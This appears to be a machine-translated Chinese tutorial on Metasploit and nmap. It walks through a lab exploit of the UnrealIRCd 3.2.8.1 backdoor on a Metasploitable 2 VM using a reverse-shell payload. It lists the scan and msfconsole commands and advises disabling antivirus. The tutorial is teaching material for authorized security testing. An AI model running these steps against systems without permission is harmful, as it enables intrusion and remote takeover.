自己执行简单的安全测试 - 使用 Metasploit Framework 和 nmap
不费吹灰之力,可以测试您自己网络的安全性。我们提供了两个工具,使这成为可能。关于它的最好的事情是:这些工具是免费提供的。
在Metasploit的框架从Rapid7是漏洞分析领域的最知名的框架之一,并使用世界各地的许多红队和渗透测试人员。它是免费提供的,可以单独扩展,这使得它非常通用和灵活。它通常与端口扫描器(如nmap )结合使用,这是该领域最突出的工具之一,也是免费提供的。
在本文中,我们对这两种工具进行了简要介绍。为此,我们将展示一个简短的示例来演示如何自己对系统执行简单的测试。
请注意,您只能对所有者授予您权限的系统进行攻击。不这样做可能会导致刑事处罚,具体取决于您所在国家/地区的立法。此外,请确保您协调您的测试,并且不会意外干扰或阻止其他人正在使用的服务。
先决条件 - 安装
Metasploit 框架是一个控制台应用程序,nmap 是从命令行执行的。因此,您应该具备该领域的基本知识(例如 bash)。
你可以从这里下载 Metasploit 框架,然后安装它。
注意:防病毒软件和防火墙有时会将文件检测为恶意软件,因为它们包含的代码也可以在恶意软件中找到。因此,您应该禁用这些保护组件或配置它们,以便它们不会阻止使用 Metasploit 框架。
安装 Metasploit Framework 时,也安装了相关工具(包括 nmap),因此我们的示例无需进一步安装。
或者,您可以使用Kali Linux,这是一个预装了许多攻击性安全工具的 Linux 发行版。Metasploit 框架和 nmap 就是其中之一。使用 Kali Linux 时,请注意某些 EDR 解决方案对 Kali 系统的默认主机名敏感并触发警报。
方便: Kali Linux 可作为 VirtualBox 或 VMware 的虚拟机使用,因此您无需安装全新的系统。
Metasploit 框架
Metasploit 框架具有模块化结构。模块可以分为不同的类别,并以各种方式组合。
下面简要解释其中的三个类别:
1. 辅助工具
包括扫描器、模糊器等辅助工具,用于检测目标系统上正在运行哪些服务以及是否存在漏洞。
2.漏洞利用
漏洞利用,顾名思义,包括所有可用于利用漏洞的模块。这些范围从阻止服务的拒绝服务攻击到允许攻击者在目标系统上执行任意代码的远程代码执行攻击。
3. Payloads
Payloads 可用于漏洞利用以执行代码并在攻击者和目标系统之间建立连接。这通常是通过 shell 完成的。有效载荷可用于控制以何种方式使用哪种类型的外壳。有两个基本区别:
3.1 分阶段与非分阶段有效载荷
对于某些漏洞利用,可用负载的大小是有限的。这可能意味着必须使用分段有效载荷。在这种情况下,只有一小段代码(stager)被传输到目标系统。然后通过 stager 建立与攻击者的连接。最后,接收并执行进一步的有效载荷(阶段)。
另一方面,非暂存有效载荷是自包含的,并带有所有必需的代码。因此,它们更大,但同时更稳定,即它们的功能更可靠,因为不存在进一步的依赖性。
这两种不同的类型可以通过模块名称轻松识别。Staged 有效载荷多包含一个“/”,而非 staged 有效载荷在相应位置有一个下划线“_”。
示例:
暂存:*windows/x64/shell/reverse_tcp*
非暂存:*windows/x64/shell_reverse_tcp*
3.2 绑定或反转 Shell
使用绑定外壳时,会在目标系统上启动侦听特定端口的服务。然后攻击者通过指定的端口连接到这个系统。
根据目标系统的配置,防火墙会阻止传入的网络流量,因此无法通过绑定 shell 建立连接。此外,如果攻击者和目标系统不在同一网络上,目标系统的(私有)IP 地址和端口可能会被 NAT 更改,这也阻止了绑定外壳的使用。
另一方面,如果选择了反向 shell,则会在攻击者的设备上启动一项服务,该服务会侦听特定端口。然后目标系统连接回攻击者。
示例:
绑定外壳:windows/x64/shell_bind_tcp
反向外壳:windows/x64/shell_reverse_tcp
映射
Metasploit 框架包括各种端口扫描器作为辅助模块。但是,这些仅提供很少的配置选项,并且仅确定端口是否打开。相比之下,使用 nmap 进行扫描允许为执行设置更多设置,并且还可以获取更多信息。
例如,可以使用选项来调整扫描速度并针对可能的防火墙检测采取对策。此外,nmap 不仅可以用于确定哪些端口是开放的,还可以确定通过端口可以访问哪些服务以及正在运行的底层软件版本。
示例场景
在下文中,我们将看一个简单的示例,我们将逐步完成该示例。
我们的场景如下:
- 易受攻击的机器:IP 192.168.2.133
- 安装了 Metasploit 框架和 nmap 的 Kali Linux:IP 192.168.2.132
易受攻击的机器是 Metasploitable 2,这是一个故意易受攻击的虚拟机,可用于测试 Metasploit 框架等工具。你可以从VulnHub和其他站点免费下载这个和其他易受攻击的机器。此外,Rapid7 还开发了 Metasploitable 的第三个更新版本,您也可以在这里免费获得。
第 1 步:使用 nmap 进行端口扫描
为了确定 IT 系统的哪些服务可以从外部访问并因此可能被利用,通常会执行端口扫描。Metasploitable 有大量可以扫描的开放端口。因为我们想提供一个简单的概述,所以我们只扫描一个端口。因此,我们使用参数“-p”并指定端口 6667,IRC 守护程序正在侦听该端口。在不指定此参数的情况下,nmap 会检查1000 个最流行的端口。
因为我们只检查一个端口,所以扫描速度的配置可以忽略不计。尽管如此,为了说明,我们指定了一个设置“ -T4”。通常,nmap 提供了使用此类预定义模板的可能性,其值从“T0”(慢)到“T5”(快),或选择单独的设置。
使用参数“-A” nmap 尝试识别操作系统并确定有关已识别软件版本的信息。
在搜索引擎中搜索“unreal 3.2.8.1 metasploit”,很快就会发现Metasploit Framework包含一个合适的漏洞利用模块,攻击者可以通过该模块访问目标系统。
第 2 步:利用
现在我们知道目标系统上使用的 UnrealIRC 守护程序版本存在漏洞,我们可以在 Metasploit 框架中寻找适当的漏洞利用。Metasploit 框架是一个控制台应用程序,使用“msfconsole”命令启动。
由于我们的互联网搜索结果,我们可以直接选择我们确定的漏洞利用“使用exploit/unix/irc/unreal_ircd_3281_backdoor”。
或者,可以使用“搜索”命令在模块中搜索关键字。如果搜索结果中有合适的模块,您可以通过“使用”命令选择它。
如果选择了漏洞利用,“show payloads”可用于显示所选漏洞利用的所有可用有效载荷。的“组”命令选择所需的有效载荷。
大多数模块还提供其他选项。命令“show options”显示所有配置选项。的“组”指令可以被用于调整各种值。我们使用命令“set RHOSTS 192.168.2.133”设置目标系统的IP地址。由于我们使用的是反向shell,我们还需要将攻击系统的IP地址设置为“LHOST”。
最后我们使用“run”命令来执行漏洞利用。
使用的命令和视频
在这里您可以找到我们在示例场景中使用的所有命令的概述。如果你想自己尝试这个例子,你可以使用这些。您还可以在下方观看展示漏洞利用“动态”的短视频。
#Portscan
>nmap [IP] -T4 -A -p 6667
#Exploit
>Search unreal irc
>Use 0
>Show Payloads
>Set Payload 5
>show options
>Set RHOSTS [IP]
>Set LHOSTS [IP]
>Run
摘要和注释
此处显示的场景经过简化,仅用于说明 Metasploit 框架和 nmap 等工具的可能性。在您的网络中,您必须单独决定使用哪些命令和选项。另请注意,此类自测不能替代外部专业安全审计或渗透测试。但是,它可以作为一个起点,在其他人之前发现您的网络中的一些严重安全问题。
